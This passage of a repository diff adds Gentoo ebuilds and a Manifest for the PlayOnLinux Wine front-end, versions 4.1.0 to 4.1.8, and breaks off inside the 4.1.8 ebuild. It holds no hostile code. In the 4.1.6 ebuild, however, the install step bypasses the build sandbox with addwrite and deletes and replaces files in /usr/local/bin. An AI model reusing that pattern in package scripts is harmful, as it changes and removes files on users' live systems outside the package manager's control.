+EBUILD playonlinux-4.1.5.ebuild 3165 SHA256 26c7cd150609af528a8d920a21c588c705528d48b405c47e5184b8d4204ffab7 SHA512 6bcceb8a486fa7039e85078e8a4918720bb409edbe270d068b3c0f0d9dba748a0c428d01f34e96721a8b83c915bd3c17648ddb939b43d9b389179b834816ecae WHIRLPOOL 15832b55cfab3d64a9adff219937a1f7360f5bd3ebd58aa8730a42dcf398112980e7a1f4f95bc8a14ca97cb3acb0c2a9585ddd26da66aae49a8921621f3fc9dd
+EBUILD playonlinux-4.1.6.ebuild 3877 SHA256 e87178cc076c52394f9d0f4d57043fd9092d31a4565acba067aa2be21b149dca SHA512 2b8e6c4052520c7945fb44bdd33ece1a81779a90d750f1e80c25aea2ffadfb9ca1aaac163a49fcce3dd1e6a407bb9128fc633d244be46ee289c8e1ccb1dae8f4 WHIRLPOOL ed2cad5a6222dc50e985af091a1acada23010482095d5878ad98ef386c069ed8e21ac8da16dd298a1b36f70be5b75397042ed5c4a18411ed6b1b157f8c2ba15b
+EBUILD playonlinux-4.1.8.ebuild 3899 SHA256 b075d953c378b16af80ca7e048a1334d0754a71b40cdee0acf363444f86fd848 SHA512 0b4e8ef6ec8e77b99befb28e7befa79f5e426c3da038206abdb624c13ff3daaa8c77b50f13d178973a45f634b7bbc4dffce5e65a69be28132a9127142dd94974 WHIRLPOOL e950e7f5e17333adb6dddf158780055d31909c70b404a1aef8d271c6c917bfe70d2c35cdd589d1148535fcc15a12ca6973848376a5b451c4d83c8977e074cdb2
+EBUILD playonlinux-4.2.1.ebuild 3899 SHA256 b075d953c378b16af80ca7e048a1334d0754a71b40cdee0acf363444f86fd848 SHA512 0b4e8ef6ec8e77b99befb28e7befa79f5e426c3da038206abdb624c13ff3daaa8c77b50f13d178973a45f634b7bbc4dffce5e65a69be28132a9127142dd94974 WHIRLPOOL e950e7f5e17333adb6dddf158780055d31909c70b404a1aef8d271c6c917bfe70d2c35cdd589d1148535fcc15a12ca6973848376a5b451c4d83c8977e074cdb2
diff --git a/app-emulation/playonlinux/playonlinux-4.1.0.ebuild b/app-emulation/playonlinux/playonlinux-4.1.0.ebuild
new file mode 100644
index 00000000..a8ef12cf
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.0.ebuild
@@ -0,0 +1,106 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/unzip
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm"
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die "sed failed"
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables || die "sed failed"
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins || die "doins failed"
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/* || die "doexe failed"
+	exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	doexe bash/terminals/* || die "doexe failed"
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/* || die "doexe failed"
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/* || die "doexe failed"
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib || die "doins failed"
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler} || die "doexe failed"
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux || die "newgamesbin failed"
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd || die "newgamesbin failed"
+
+	dodoc CHANGELOG || die "dodoc failed"
+
+	doicon etc/${PN}.png || die "doicon failed"
+	domenu etc/${MY_PN}.desktop || die "domenu failed"
+	prepgamesdirs
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	ewarn "Installed softwares and games with playonlinux have not been removed."
+	ewarn "To remove them, you can re-install playonlinux and remove them using it"
+	ewarn "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.1.1.ebuild b/app-emulation/playonlinux/playonlinux-4.1.1.ebuild
new file mode 100644
index 00000000..a8ef12cf
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.1.ebuild
@@ -0,0 +1,106 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/unzip
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm"
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die "sed failed"
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables || die "sed failed"
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins || die "doins failed"
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/* || die "doexe failed"
+	exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	doexe bash/terminals/* || die "doexe failed"
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/* || die "doexe failed"
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/* || die "doexe failed"
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib || die "doins failed"
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler} || die "doexe failed"
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux || die "newgamesbin failed"
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd || die "newgamesbin failed"
+
+	dodoc CHANGELOG || die "dodoc failed"
+
+	doicon etc/${PN}.png || die "doicon failed"
+	domenu etc/${MY_PN}.desktop || die "domenu failed"
+	prepgamesdirs
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	ewarn "Installed softwares and games with playonlinux have not been removed."
+	ewarn "To remove them, you can re-install playonlinux and remove them using it"
+	ewarn "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.1.3.ebuild b/app-emulation/playonlinux/playonlinux-4.1.3.ebuild
new file mode 100644
index 00000000..0fdcc7e6
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.3.ebuild
@@ -0,0 +1,110 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/p7zip
+	app-arch/unzip
+	app-crypt/gnupg
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm
+	media-gfx/icoutils
+	winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/*
+	#exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	#doexe bash/terminals/*
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/*
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/*
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+	dodoc CHANGELOG
+
+	doicon etc/${PN}.png
+	domenu etc/${MY_PN}.desktop
+	prepgamesdirs
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	elog "Installed softwares and games with playonlinux have not been removed."
+	elog "To remove them, you can re-install playonlinux and remove them using it"
+	elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.1.4.ebuild b/app-emulation/playonlinux/playonlinux-4.1.4.ebuild
new file mode 100644
index 00000000..0fdcc7e6
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.4.ebuild
@@ -0,0 +1,110 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/p7zip
+	app-arch/unzip
+	app-crypt/gnupg
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm
+	media-gfx/icoutils
+	winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/*
+	#exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	#doexe bash/terminals/*
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/*
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/*
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+	dodoc CHANGELOG
+
+	doicon etc/${PN}.png
+	domenu etc/${MY_PN}.desktop
+	prepgamesdirs
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	elog "Installed softwares and games with playonlinux have not been removed."
+	elog "To remove them, you can re-install playonlinux and remove them using it"
+	elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.1.5.ebuild b/app-emulation/playonlinux/playonlinux-4.1.5.ebuild
new file mode 100644
index 00000000..0fdcc7e6
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.5.ebuild
@@ -0,0 +1,110 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/p7zip
+	app-arch/unzip
+	app-crypt/gnupg
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm
+	media-gfx/icoutils
+	winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/*
+	#exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	#doexe bash/terminals/*
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/*
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/*
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+	dodoc CHANGELOG
+
+	doicon etc/${PN}.png
+	domenu etc/${MY_PN}.desktop
+	prepgamesdirs
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	elog "Installed softwares and games with playonlinux have not been removed."
+	elog "To remove them, you can re-install playonlinux and remove them using it"
+	elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.1.6.ebuild b/app-emulation/playonlinux/playonlinux-4.1.6.ebuild
new file mode 100644
index 00000000..241edd16
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.6.ebuild
@@ -0,0 +1,132 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/p7zip
+	app-arch/unzip
+	app-crypt/gnupg
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm
+	media-gfx/icoutils
+	winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/*
+	#exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	#doexe bash/terminals/*
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/*
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/*
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+	dodoc CHANGELOG
+
+	doicon etc/${PN}.png
+	domenu etc/${MY_PN}.desktop
+	prepgamesdirs
+
+	if [ -f "/usr/bin/python2.6" ]; then
+		addwrite /usr/local/bin/
+		if [ ! -f "/usr/local/bin/python2.6" ]; then
+			dosym /usr/bin/python2.6 /usr/local/bin/ || die
+			else
+			echo "The file already existed"
+			rm /usr/local/bin/python2.6 || die
+			dosym /usr/bin/python2.6 /usr/local/bin/ || die
+			echo "Replaced it"
+		fi
+		if [ ! -f "/usr/local/bin/python2.6-config" ]; then
+			dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+			else
+			echo "The file already existed"
+			rm /usr/local/bin/python2.6-config || die
+			dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+			echo "Replaced it"
+		fi
+	else
+	ewarn "There is no python2.6, you should emerge python2.6"
+	fi
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	elog "Installed softwares and games with playonlinux have not been removed."
+	elog "To remove them, you can re-install playonlinux and remove them using it"
+	elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.1.8.ebuild b/app-emulation/playonlinux/playonlinux-4.1.8.ebuild
new file mode 100644
index 00000000..8b22bda7
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.1.8.ebuild
@@ -0,0 +1,133 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/p7zip
+	app-arch/unzip
+	app-crypt/gnupg
+	net-analyzer/netcat6
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm
+	media-gfx/icoutils
+	winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/*
+	#exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	#doexe bash/terminals/*
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/*
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/*
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+	dodoc CHANGELOG
+
+	doicon etc/${PN}.png
+	domenu etc/${MY_PN}.desktop
